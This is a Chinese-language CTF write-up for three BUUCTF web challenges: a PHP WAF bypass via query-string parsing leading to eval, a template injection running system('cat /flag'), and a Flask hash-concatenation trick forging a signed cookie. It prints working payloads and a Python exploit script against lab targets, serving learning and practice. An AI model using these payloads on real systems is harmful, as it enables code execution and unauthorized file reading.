BUUCTF 幾道WEB題WP
- 今天做了幾道Web題,記錄一下,Web萌新寫的不好,望大佬們見諒○| ̄|_
[RoarCTF 2019]Easy Calc
知識點:PHP的字符串解析特性
- 參考了一下網上大佬文章
http://gality.cn/2019/10/21/php%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7%E7%A0%94%E7%A9%B6/
- 在php中,查詢的字符串(URL或正文中)會被轉換為內部
$_GET
或$_POST
數組. 例如:/?foo=bar
變成Array([foo] => “bar”
)。值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下划線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)
。
- 對於
/news.php?%20news[id%00=42"+AND+1=0--
來說,PHP語句的參數%20news[id%00的值將存儲到$_GET[“news_id”]
中。
- PHP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,php需要完成兩件事:
1、刪除空白符
2、將某些字符轉換為下划線(包括空格)
- 我個人理解就是對於限制了只允許傳入數值參數,對於非數值型數據產生禁止的waf,我們可以使用加空格來繞過
題目分析:
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("這啥?算不來!");
}
})
return false;
})
</script>
- 可以看到設置了有一個WAF,在script中又發現一個url字樣,有calc.php,嘗試訪問發現WAF源碼
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
- 發現有一個GET傳參參數num,和一堆黑名單,在嘗試在num傳參時,發現以下情形
calc.php?num=1

calc.php?num=a

- 發現這里對非數值型數據有過濾攔截,這里就嘗試php字符串解析的漏洞,使用加空格繞過,因為php解析的時候會自動將空格去除
正常返回:

- 那么我們就可以嘗試去讀取文件信息,首先遍歷一下根目錄文件,但是發現黑名單中有過濾,過濾了'/',嘗試繞過,對其進行轉成ascii碼,發現可以執行
calc.php?%20num=a;var_dump(scandir(chr(47)))

- 注:這里可以多語句執行是因為
eval('echo '.$str.';');
這里語句eval每次將拼接后的語句閉合后執行了
- 最后拼接flag文件名讀取即可
calc.php?%20num=a;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[BJDCTF2020]The mystery of ip
知識點:SSTI
- Shana師傅的題(●'◡'●),嘗試之后發現是SSTI

- 直接執行系統函數
{{system('ls /')}}

{{system('cat /flag')}}

[De1CTF 2019]SSRF Me
知識點:SSRF,字符串拼接
- 這題的另外兩種wp其實說實話沒弄懂,就是按照第二種方法復現了一下○| ̄|_
- 另外這題有三種解法,大家可以參考一下這個:
https://xz.aliyun.com/t/5927#toc-0
- 大致思路分析:進入網站,發現直接給出了后端源碼,發現是用
python
的Flask
框架寫的,這里主要是定義了三個路由,也是和這題相關的幾個地方
- 其中訪問
geneSign
時會返回一串md5
,看一下源碼得知這個md5
是由三部分構成,secert_key + param + action
,而getSign
函數生成md5
時,只接收了兩個參數action
和param
其中的action
主要就是readscan
的操作,而param
是我們直接get
傳的參數,剩下要解決關鍵action
問題(這里就要利用字符串拼接的方式解決)而這個secert_key
是由os
生成的隨機16位字符串
- 對於這里的
md5(secert_key + param + action)
在python
使用md5
處理的話相當於md5(secert_keyflag.txtscan)
,這樣我們就可以嘗試直接拼接后讓他生成md5
,直接構造
/geneSign?param=flag.txtread
這樣當到python
中處理的時候,會自動和scan
進行拼接,得到這樣的運算md5(secert_keyflag.txtreadscan)
,這就發現居然解決了action
是
readscan
的問題了,同時也獲得了md5

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param) # 返回md5
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest() #生成的md5摘要
- 接下來就只要直接訪問
/De1ta?param=flag.txt
構造 cookie:action=readscan;sign=67a14a623ade3f0c2b5a4d98b51708db
即可
- exp如下:
import requests
url = 'http://91a0d8ea-be8a-431a-9caf-33ed47fcce5f.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
'sign': '67a14a623ade3f0c2b5a4d98b51708db',
'action': 'readscan',
}
res = requests.get(url=url, cookies=cookies)
print(res.text)
